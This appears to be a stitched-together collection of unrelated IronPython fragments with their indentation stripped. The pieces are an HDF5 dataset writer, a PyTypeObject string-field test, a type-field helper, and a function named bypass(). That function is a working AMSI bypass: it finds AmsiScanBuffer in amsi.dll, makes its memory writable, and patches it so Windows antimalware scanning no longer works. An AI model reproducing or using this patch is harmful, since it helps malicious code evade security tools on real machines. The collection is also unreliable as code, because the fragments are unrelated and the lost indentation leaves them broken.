def createDatasetWithCompoundType(h5file):
mtype = createMemType()
ftype = createFileType()
npoints = 4
shape = Array[Int64]((npoints, ))
dspace = H5S.create_simple(shape.Length, shape)
dset = H5D.create(h5file, 'DS1', ftype, dspace)
ms = MemoryStream()
writer = BinaryWriter(ms)
writer.Write(Int32(1153))
s = 'Exterior (static)'
if IntPtr.Size == 8:
writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt64())
else:
writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt32())
writer.Write(Double(53.23))
writer.Write(Double(24.57))
writer.Write(Int32(1184))
s = 'Intake'
if IntPtr.Size == 8:
writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt64())
else:
writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt32())
writer.Write(Double(55.12))
writer.Write(Double(22.95))
writer.Write(Int32(1027))
s = 'Intake manifold'
if IntPtr.Size == 8:
writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt64())
else:
writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt32())
writer.Write(Double(103.55))
writer.Write(Double(31.23))
writer.Write(Int32(1313))
s = 'Exhaust manifold'
if IntPtr.Size == 8:
writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt64())
else:
writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt32())
writer.Write(Double(1252.89))
writer.Write(Double(84.11))
byteArray = ms.ToArray()
H5D.write(dset, mtype, H5Array[Byte](byteArray))
H5S.close(dspace)
H5T.close(ftype)
H5T.close(mtype)
return dset
def testReadCStringField(self):
data = Marshal.AllocHGlobal(Marshal.SizeOf(PyTypeObject()))
CPyMarshal.Zero(data, Marshal.SizeOf(PyTypeObject()))
string = "Hey, I am a string. I have tricksy \\escapes\\."
strPtr = Marshal.StringToHGlobalAnsi(string)
CPyMarshal.WritePtrField(data, PyTypeObject, "tp_doc", strPtr)
self.assertEquals(
CPyMarshal.ReadCStringField(data, PyTypeObject, "tp_doc"), string,
"failed to read correctly")
Marshal.FreeHGlobal(data)
Marshal.FreeHGlobal(strPtr)
def bypass():
asbSTR = Marshal.StringToHGlobalAnsi("AmsiScanBuffer")
asbHandle = NativeMethods.LoadLibrary("amsi.dll")
asbPtr = NativeMethods.GetProcAddress(asbHandle, asbSTR)
old = Marshal.AllocHGlobal(4)
prot = NativeMethods.VirtualProtect(asbPtr, 0x0015, 0x40, old)
patch = System.Array[System.Byte]((0x33, 0xff, 0x90))
unPtr = Marshal.AllocHGlobal(3)
Marshal.Copy(patch, 0, unPtr, 3)
NativeMethods.RtlMoveMemory(asbPtr + 0x001b, unPtr, 3)
Marshal.FreeHGlobal(old)
Marshal.FreeHGlobal(unPtr)
def WriteTypeField(typePtr, name, value):
if name in PTR_ARGS:
CPyMarshal.WritePtrField(typePtr, PyTypeObject, name, value)
return lambda: None
if name in INT_ARGS:
CPyMarshal.WriteIntField(typePtr, PyTypeObject, name, int(value))
return lambda: None
if name in STRING_ARGS:
ptr = Marshal.StringToHGlobalAnsi(value)
CPyMarshal.WritePtrField(typePtr, PyTypeObject, name, ptr)
return lambda: Marshal.FreeHGlobal(ptr)
if name in TABLE_ARGS:
ptr, dealloc = MakeItemsTablePtr(value)
CPyMarshal.WritePtrField(typePtr, PyTypeObject, name, ptr)
return dealloc
if name in FUNC_ARGS:
if value is not None:
dgt = FUNC_ARGS[name](value)
CPyMarshal.WriteFunctionPtrField(typePtr, PyTypeObject, name, dgt)
return GC_NotYet(dgt)
return lambda: None
raise KeyError("WriteTypeField can't handle %s, %s" % (name, value))